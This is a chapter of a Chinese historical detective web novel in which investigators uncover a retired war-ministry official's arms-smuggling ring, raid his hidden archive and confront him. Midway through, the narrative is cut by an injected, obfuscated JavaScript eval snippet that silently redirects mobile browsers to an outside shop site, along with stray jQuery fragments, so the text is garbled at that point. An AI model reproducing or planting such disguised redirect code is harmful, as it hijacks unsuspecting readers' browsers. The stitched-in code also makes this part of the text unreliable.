范渊低头,核桃从他手边滚落下来磕在青砖上,轻弹一下,他很快捡起来又攥在手心里。
“是我们族里另一个经手人,军器采购这条线上最初和魏悯接头的人不是我,我上面还有一个人,他也姓范,是我们范家的族长,名讳老夫不能说。
图纸下落可以告诉你,图纸现在还在通州城东废弃的军器作坊里,那间作坊是他当年致仕前主持最后一个项目时留下来的,对外说是废弃了,但里面还封着几箱没来得及运走的图纸和弓弩样品,钥匙在作坊的管事手里。”
他说得平淡,眼睛都不眨,“管事前年死了,他儿子接的手,此人不知道里面封的是什么,只以为是废铁。”
苏棠抿唇。
老邢带人直奔城东那间废弃作坊。
不到一个时辰,他抬着两口落满灰的铁箱子回来,封条早已脆裂,打开之后里面整整齐齐码着几十份图纸和几把未完工的弩机,图纸上盖的正是军器监的旧铜印。
苏棠蹲下来翻看,到最底层时停住。
图纸下面压着一份名册,封面上什么也没写,翻开之后里面是范家几代在兵部任职的记录:十几个人名,从族老范世清到范渊自己,再到范江,还有几个更年轻的名字,被密密麻麻写在同一页纸上。
有些人已经死了,有些调去了外地,还有两个名字旁边没有任何标记。
她把名册翻到末页,夹层里掉出一张小笺,笺上只有一行字:魏悯案发,吾族之祸。
范世清手书。
苏棠念出这个名字。
范渊垂下眼,沉默很久,才开口,“事已至此,没什么好瞒的了。”
“是范世清,我们族里的族长,前任兵部尚书,正二品致仕。他十年前致仕的,致仕之后回了涿州老家闭门谢客,从来不和地方官打交道。
魏悯一开始找的人就是他,不是老夫。图纸是他批的,旧印是他挖出来的,供货作坊是他设的,魏悯那条军器线真正的主持人一直是他。老夫不过是替他做完最后一批弩机之后留在这个位置上替他守摊子的接班人。
他比魏悯藏得深,魏悯的账册上只写了‘范’,没写名字,就是为了保他。他的身份一旦暴露,牵连的是整个范家几代在兵部的人。”
一大串说完,他嗓音有点发哑,喝口茶继续,“我族兄做的事和我女儿没有任何关系。”
苏棠看着那份名册上写了长长一串名字的那一页,扯下合上放进证据袋里,公事公办,“我们的规矩您很清楚,协查范围只限于涉案人员。”
"您的案子,证据已经齐了,跟我们回京。”
范世清的宅子在涿州城东,三进三出的大宅,青砖灰瓦,门楣上挂着御赐的匾额,上书“忠勤”二字。苏棠和沈渡到达时天已经黑了,正门紧闭,门前的石狮子上落了一层薄霜。
老邢提前半天到了涿州,已经把范宅周围的地形摸得清清楚楚。
范世清致仕之后闭门谢客,宅子里只留了几个老仆,日常采买都走偏门。
但最近宅子里忽然多了一批人,据说是从通州过来的范家年轻子弟,住在前院厢房里,每天晚上轮流巡夜,书房后面有一间暗室,入口在博古架后面,范世清把族谱供在那间暗室里。
“暗室。”沈渡靠在马旁边,抬头看一眼范宅高高的院墙,指尖轻点自己下巴,“范渊说范世清致仕之后把兵部的旧档带回老家存了起来,应该就放在那间暗室里。”
苏棠拉紧缰绳,让老邢带人去偏门,自己和沈渡走正门。
开门的是个老仆,看见门外站着一队带刀官差,吓得转身就往里跑。
沈渡推开大门,差役鱼贯而入,按老邢画的地形图分头守住前后院出口。
苏棠穿过前院直奔书房,架上瓷器在她推开的力道下轻轻晃了几下又落稳,暗室入口的暗格扣在第三层架阁上。
老邢从厨房抓来一个年轻仆役问了暗格扣的开启方向,沈渡伸手摸到凹槽,咔嚓一声,博古架往旁边滑开了半扇。
暗室里点着一盏长明灯,供桌上摆着范家几代祖先的牌位。,旁边是两口上了锁的铁箱子,箱子上贴着兵部的旧封条,封条上的字迹已经模糊了,但兵部的官印还依稀可辨。
角落里堆着几捆用油布包得严严实实的文书,最上面一捆的油布已经掀开了一角,露出来的纸页边缘泛着陈年铁锈色。
苏棠让人把铁箱子撬开。
箱子里码着兵部军器司近十年的采购记录原件,不是副本是原件,每一份都盖着兵部的公章,上面有范世清自己的亲笔签名。
采购记录旁边是几本手写的账册,账册的笔迹和魏悯总账里那些用左手写的密码般的标记如出一辙,还有一叠私盐转运的交接清单,日期最早的一份可以追溯到魏悯入阁那年。
“他和魏悯合作的时间比范渊说的更早。魏悯入阁那年他们就开始转运军器了,这些交接清单每一份都有双方签名,是一式两份的原始凭证,他把自己的那一份全留下来了。”苏棠说完,蹲在角落里翻那几捆油布包裹的文书,到第三捆停住。
那是一份军器司内部的名录,记录了一个叫“甸洲军器转运使”的职位,下面列出历任转运使的名字,范世清的名字排在第四任,范渊的名字排在第六任。
每一任旁边都标注了转运物资的种类、数量和目的地。
弓弦、箭头、弩机、铁甲片,目的地不是江南,是甸洲。
“甸洲。”沈渡在她旁边蹲下来,眉头微蹙,“魏悯的私盐往江南走,军器往甸洲走,两条线是分开的。”
“是两条线,但不是同一个人。”苏棠的手指从名单上往下移,移到最后一任转运使那里,那个名字被墨涂掉了,涂改的笔迹和她在何崇案户籍档上看到的涂改痕迹如出一辙。
她继续往下翻,翻到下一层油布包裹,里面是一叠信函,抬头写着“范公亲启”,落款处盖着甸洲都护府的官印。
最后几封信被人反复折过又展开,里面夹着几页被撕碎的纸片,拼起来只有一行字:甸洲弓弦已到,箭矢缺三百束,速补。
落款日期是今年正月。
“今年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576640|203911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正月。”苏棠有些把不准,扭头问沈渡,“甸洲最近五年都没有战事,要弓弦和箭矢做什么?”
“不需要。”
沈渡摇头,“甸洲都护府管的是边境马市和流民安置,不负责军需。这些弓弦和箭矢不是给甸洲驻军的,是给甸洲都护府里的某个人。”
思忖片刻,他说,“看来是有人长期以军需为借口向兵部索取军器,范世清负责供应,魏悯负责从私盐利润里抽成洗钱,这个人藏得比他们都深。”
苏棠轻轻点头,转头让老邢把暗室里的铁箱子、油布包裹、信函一并装箱,贴上封条,连夜押运回京。
差役们在院子里来回搬运,她站在书房门口,看着范家祖先的牌位被长明灯照得忽明忽暗。
一个半时辰后,老邢抓来的年轻仆役又供出。
范世清过去几年里每隔一两个月就会收到一封从甸洲送来的信函,送信人穿的是便服,但骑的马是甸洲都护府的军马,范世清收到信之后当天就会进京,第二天再回来,从不耽搁。
“范世清现在人在哪?”苏棠嗓音拔高一点。
“后院厢房。”沈渡回,手里耍起短刀,“我们进宅的时候他想从后门走,被老邢堵住了,现在在后院厢房里,他要求和你谈。”
苏棠抬腿。
沈渡跟在她身后。
后院厢房的门开着,范世清坐在一把太师椅上,身上披着一件厚棉袍,头发全白了。
他比范渊更老,至少七十出头,脸上生了斑,但眼神很好。
他对面站着一个中年仆妇,正在倒茶,看见苏棠进来放下茶壶退到门外。
“苏提举。”范世清声音沙哑,但不虚弱,“老夫听说你查到了范渊,查到了范江,又顺着他们查到了老夫。”
“老夫实在佩服。”
“是吗?”
苏棠抱臂,挑起一边眉毛,“范大人既然知道我会来,为什么没把这些证据提前烧掉?”
“烧掉?”范世清笑了,很轻,“这些证据是老夫留的底牌。”
“魏悯倒了,他的总账会牵连到范家,老夫需要这些原件来证明范家只是经手转运,不是同谋。你查到的那些军器采购单,上面签的都是老夫自己的名字,每一笔都签得清清楚楚,因为老夫从来不觉得这是错。
转运军器去甸洲,转运弓弦和铁甲片去前线,这是兵部该做的事,但转运这些物资给不该收的人,就是罪。”
苏棠正色,“你把军器运给了谁?”
范世清沉默,很久,直到发出轻微的嘎吱声。
他端起茶杯,手抖了一下,茶水洒在棉袍上也不擦,“甸洲都护府前任大都护,郑锐。”
“他五年前已经死了,死在甸洲一场沙暴里。他死之前,从老夫手里拿了整整六年的军器。弓弦、箭矢、弩机、铁甲片,数量足够武装一支五千人的精兵。
他说这些军器是给甸洲驻军补充的损耗,但他从来没有给驻军,他把这些军器囤积在甸洲都护府的私库里,等着有朝一日运回京城,因为他要造反。”